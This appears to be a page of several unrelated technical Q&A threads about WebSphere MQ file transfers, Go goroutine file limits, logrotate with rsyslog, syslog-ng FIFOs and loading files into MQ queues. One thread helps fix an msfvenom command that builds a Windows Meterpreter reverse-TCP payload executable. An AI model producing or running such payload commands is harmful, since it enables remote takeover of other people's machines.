I am trying to transfer a 60mb file to queue, but Websphere MQ fte stall the transfer and keep recovering. I am running WebSphere MQ FTE on default configuration.
I have tested following scenario with different results according to configuration changes I made.
These commands were issued to create monitor:
fteCreateTransfer -sa AGENT1 -sm TQM.FTE -da AGENT2 -dm QM.FTE -dq FTE.TEST.Q -p QM.FTE -de overwrite -sd delete -gt /var/IBM/WMQFTE/config/TQM.FTE/TEST_TRANSFER.xml D:\\rvs\\tstusrdat\\ALZtoSIP\\INC\\*.zip
fteCreateMonitor -ma AGENT1 -mn TEST_MONITOR -md D:\\rvs\\tstusrdat\\ALZtoSIP\\INC -mt /var/IBM/WMQFTE/config/TQM.FTE/TEST_TRANSFER.xml -tr match,*.zip
Test was performed on files: 53MB and 30MB
Default configuration (just enableQueueInputOutput=true added to AGENT2.properties)
1) all default
no success, transfer status: "recovering"
for both files
2) added maxInputOutputMessageLength=60000000, destination queue max message length changed to 103809024
result transfer status: "failed" with following exception PM71138: BFGIO0178E: A QUEUE WRITE FAILED DUE TO A WMQAPIEXCEPTION WITH MESSAGE TEXT CC=2 RC=2142 MQRC_HEADER_ERROR
for both files
After reading this: http://pic.dhe.ibm.com/infocenter/wmqfte/v7r0/topic/com.ibm.wmqfte.doc/message_length.htm I came with working settings:
3) maxInputOutputMessageLength=34603008 (its maximum value), destination queue max message length still to 103809024
result for file with size 30MB: succcess
result for file with size 53MB: "failed" with following exception PM71138: BFGIO0178E: A QUEUE WRITE FAILED DUE TO A WMQAPIEXCEPTION WITH MESSAGE TEXT CC=2 RC=2142 MQRC_HEADER_ERROR
So according to this I am afraid one can't transfer larger then 34603008 bytes.
If you are transferring file to queue you definitely can't use the default settings. You have to add "enableQueueInputOutput=true" to agent.properties for agent thet uses queue as source or destination.
Related
I am trying to create a windows payload with msfvenom but it is not working properly:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f exe payload.exe
here is the error that I am getting
CommandLineToArgvWapr_initialize0123456789.0.0.0.0bogus %pI64dNo host data of that type was foundHost not foundGraceful shutdown in progressWSAStartup not yet calledWinsock version out of rangeNetwork system is unavailableToo many levels of remote in pathStale NFS file handleDisc quota exceededToo many usersToo many processesDirectory not emptyNo route to hostHost is downFile name too longToo many levels of symbolic linksConnection refusedConnection timed outToo many references, can't spliceCan't send after socket shutdownSocket is not connectedSocket is already connectedNo buffer space availableConnection reset by peerSoftware caused connection abortNet connection resetNetwork is unreachableNetwork is downCan't assign requested addressAddress already in useAddress family not supportedProtocol family not supportedOperation not supported on socketSocket type not supportedProtocol not supportedBad protocol optionProtocol wrong type for socketMessage too longDestination address requiredSocket operation on non-socketOperation already in progressOperation now in progressOperation would blockToo many open socketsInvalid argumentBad addressPermission deniedBad file numberInterrupted system callAPR does not understand this error codeError string not specified yetpasswords do not matchThis function has not been implemented on this platformThere is no error, this value signifies an initialized error codeShared memory is implemented using a key systemShared memory is implemented using filesShared memory is implemented anonymouslyCould not find specified socket in poll list.End of file foundMissing parameter for the specified command line optionBad character specified on command linePartial results are valid but processing is incompleteThe timeout specified has expiredThe specified child process is not done executingThe specified child process is done executingThe specified thread is not detachedThe specified thread is detachedYour code just forked, and you are currently executing in the parent processYour code just forked, and you are currently executing in the child processInternal errorThe process is not recognized.The given path contained wildcard charactersThe given path is misformatted or contained invalid charactersThe given path was above the root pathThe given path is incompleteThe given path is relativeThe given path is absoluteThe specified network mask is invalid.The specified IP address is invalid.DSO load failedNo shared memory is currently availableNo thread key structure was provided and one was required.No thread was provided and one was required.No socket was provided and one was required.No poll structure was provided and one was required.No lock was provided and one was required.No directory was provided and one was required.No time was provided and one was required.No process was provided and one was required.An invalid socket was returnedAn invalid date has been providedA new pool could not be created.Unrecognized Win32 error code %d\\?\UNC\\\?\CancelIoGetCompressedFileSizeAGetCompressedFileSizeWZwQueryInformationFileGe tSecurityInfoGetNamedSecurityInfoAGetNamedSecurityInfoWUNC \GetEffectiveRightsFromAclW��������ntdll.dllshell32ws2_32mswsockadvapi32kernel32▒�0� H`Phh4VS_VERSION_INFO���?�StringFileInfo�040904b00
I think its because you didn't specify the output argument. Try using the "-o" or the ">" argument.
Eg.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe > out.exe
OR
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o out.exe
I've created a simple go script: https://gist.github.com/kbl/86ed3b2112eb80522949f0ce574a04e3
It's fetching some xml from the internet and then starts X goroutines. The X depends on file content. In my case it was 1700 goroutines.
My first execution finished with:
$ go run mathandel1.go
2018/01/27 14:19:37 Get https://www.boardgamegeek.com/xmlapi/boardgame/162152?pricehistory=1&stats=1: dial tcp 72.233.16.130:443: socket: too many open files
2018/01/27 14:19:37 Get https://www.boardgamegeek.com/xmlapi/boardgame/148517?pricehistory=1&stats=1: dial tcp 72.233.16.130:443: socket: too many open files
exit status 1
I've tried to increase ulimit to 2048.
Now I'm getting different error, script is the same thou:
$ go build mathandel1.go
# command-line-arguments
/usr/local/go/pkg/tool/linux_amd64/link: flushing $WORK/command-line-arguments/_obj/exe/a.out: write $WORK/command-line-arguments/_obj/exe/a.out: file too large
What is causing that error? How can I fix that?
You ran ulimit 2048 which changed the maximum file size.
From man bash(1), ulimit section:
If no option is given, then -f is assumed.
This means that you now set the maximum file size to 2048 bytes, that's probably not enough for.... anything.
I'm guessing you meant to change the limit for number of open file descriptors. For this, you want to run:
ulimit -n 2048
As for the original error (before changing the maximum file size), you're launching 1700 goroutines, each performing a http get. Each creates a connection, using a tcp socket. These are covered by the open file descriptor limit.
Instead, you should be limiting the number of concurrent downloads. This can be done with a simple worker pool pattern.
Tried almost everything, but still cant find any solution for the issue so wanted to ask for little help in such case:
I have got logrotate (v. 3.7.8) configured based on size of log files:
/home/test/logs/*.log {
missingok
notifempty
nodateext
size 10k
rotate 100
copytruncate
}
Rotation of logs is based only on size, invoked whenever message will arrived to rsyslog deamon (v. 5.8.10). Configuration of rsyslog:
$ModLoad omprog
$ActionOMProgBinary /usr/local/bin/log_rotate.sh
$MaxMessageSize 64k
$ModLoad imuxsock
$ModLoad imklog
$ModLoad imtcp
$InputTCPServerRun 514
$template FORMATTER, "%HOSTNAME% | %msg:R,ERE,4,FIELD:(.*)\s(.*)(:::)(.*)--end%\n"
$ActionFileDefaultTemplate FORMATTER
$Escape8BitCharactersOnReceive off
$EscapeControlCharactersOnReceive off
$SystemLogRateLimitInterval 0
$SystemLogRateLimitBurst 0
$FileOwner test
$FileGroup test
$DirOwner test
$DirGroup test
# Log each module execution to separate log files and don't use the prepending module_execution_ in the log name.
$template CUSTOM_LOGS,"/home/test/logs/%programname:R,ERE,1,FIELD:^module_execution_(.*)--end%.log"
if $programname startswith 'module_execution_' then :omprog:
if $programname startswith 'module_execution_' then ?CUSTOM_LOGS
& ~
Script invoked by the omprog just runs logrotate and for test purpose sends new line to logrot file:
#!/bin/bash
echo "1" >> /home/test/logrot
/usr/sbin/logrotate /etc/logrotate.conf -v
How to reproduce:
execute:
for i in {1..50000}; do logger -t "module_execution_test" "test message"; done;
check rotate files - there will be a lot of files test.log.1,2,3 etc. with size near to the 10kB and one test.log with size much bigger then predicted
check:
wc -l /home/test/logrot
It will be growing for some time but then stops even if the messages still arrives (hangs exactly in the time when rotation stops to happen) - it means that rsyslog doesnt call external script anymore
So IMO it looks like a bug in rsyslog or omprog plugin. Any idea what is going on?
br
I have some question about syslog fifo and log file.
For example I have my gc.log and I have this configuration on syslog
source s_splunk {
udp(ip("127.0.0.1") port(514));
file("/logs/gc.log" follow_freq(1));
};
destination d_splunk {
tcp (my.splunk.intranet port (1514));
};
log {
source (s_splunk);
destination (d_splunk);
};
to index this gc.log on splunk. But this way I get high cpu consume and I like to change how I'm indexing this log file.
I would like to do indexing by fifo file but I can't change how the application generate this log file.
How can i do this ?
I found some way to solve my problem. I delete my gc.log file and build this file like a fifo file and i changed de permission of this file.
So the JVM use de fifo to log and on the syslog-ng i'm configuring one destination to write the log on file and send to my splunk vip (my.splunk.intranet).
With this solution my syslog don't have high cpu usage.
I want to load files in the file system to a WebSphere MQ Queue. There are couple of support pacs - Q Program and MO03: WebSphere MQ Queue Load / Unload Utility
that come close but they mandate the files to be in a specific format. I have the messages which are XML files and want a quick way to load them to a queue. The number of files run into a few hundred so looking for an utility to do this job instead of having to write an application to achieve this.
I could not locate some general purpose application to achieve this. So looking for some help here
Thanks
Why do you believe that the Q program requires a specific file format? According to the README.TXT file, the following options are available:
-f<filename>
Input file.
Each line of the file will be put to output queue as a different
message.
See "Z/OS FILE NAME FORMAT EXAMPLES" for specific z/OS details.
-F[+]<filename>
Input/output file.
Entire file will be put to the output queue as a single message.
If '+' is specified the dataset attributes will be retained if
the output dataset exists - z/OS only.
See "Z/OS FILE NAME FORMAT EXAMPLES" for specific z/OS details.
So if you specify -F (without the +) all lines in the the XML file are loaded into a single message. You can also specify the message options using the -a parameter:
-a<Opts> Sets message attributes when put to the output queue
n - forces non-persistence
p - forces persistence
q - uses queue default persistence
d - put a datagram message type
r - put a reply message type
R - put a request message type
t - put a report message type
x - don't treat lines starting with '#' as special
Although the Q program will interpret files by default, note that the -ax option above tells it to ignore lines with # which it would ordinarily interpret as commands. This allows you to load XML files or source code with comments or even binary files such as a PDF or JPG.
Was there a specific limitation in Q that you are unable to work with? If so, it would be helpful to know what that is so we might point you to something that would better fit your purpose.
UPDATE
Responding to Spyro's comments, Q is not limited to 1000 characters. Here's an example where the README file from the Q distribution is written to a single message and read back.
D:\WMQ\MA01>q -m JMSDEMO -OSYSTEM.DEFAULT.LOCAL.QUEUE -FREADME
MQSeries Q Program by Paul Clarke [ V6.0.0 Build:May 1 2012 ]
Connecting ...connected to 'JMSDEMO'.
D:\WMQ\MA01>echo dis q(SYSTEM.DEFAULT.LOCAL.QUEUE) curdepth | runmqsc JMSDEMO
5724-H72 (C) Copyright IBM Corp. 1994, 2011. ALL RIGHTS RESERVED.
Starting MQSC for queue manager JMSDEMO.
1 : dis q(SYSTEM.DEFAULT.LOCAL.QUEUE) curdepth
AMQ8409: Display Queue details.
QUEUE(SYSTEM.DEFAULT.LOCAL.QUEUE) TYPE(QLOCAL)
CURDEPTH(1)
One MQSC command read.
No commands have a syntax error.
All valid MQSC commands were processed.
D:\WMQ\MA01>q -m JMSDEMO -dl -iSYSTEM.DEFAULT.LOCAL.QUEUE
MQSeries Q Program by Paul Clarke [ V6.0.0 Build:May 1 2012 ]
Connecting ...connected to 'JMSDEMO'.
MQGET 24309 bytes
============================================================================
Message Descriptor (MQMD)
Report :00000000
Message Type :8 (Datagram)
Format :'MQSTR '
Priority :0
Persistence :0 (Not Persistent)
Message Id :A M Q J M S D E M O . . . R . * .
414D51204A4D5344454D4F20202020201DDEA052200B2A02
'AMQ JMSDEMO ...R .*.'
ReplyToQ :' '
ReplyToQMgr :'JMSDEMO '
----------------------------------------------------------------------
| |
| |
| DESCRIPTIVE NAME WebSphere MQ Q Program |
| |
------- 8><-------------------------------------------------------------
REMAINDER OF MSG OUTPUT OMITTED FOR BREVITY. PRINT-OUT RESUMES...
------- 8><-------------------------------------------------------------
No more messages.
D:\WMQ\MA01>
Note the header lines where the message was printed. The -dl option tells Q to print the message length which, in this case, was 24309 bytes. I downloaded the current version to perform this test so this is accurate as of 7 December 2013.
If you are looking for loading the file to queue.. Its easy to work with RFHUtil s/w or application.
In RFHUtil you can easily load the file to MQ and clear the Queue, purge ect...
Many more options are provided .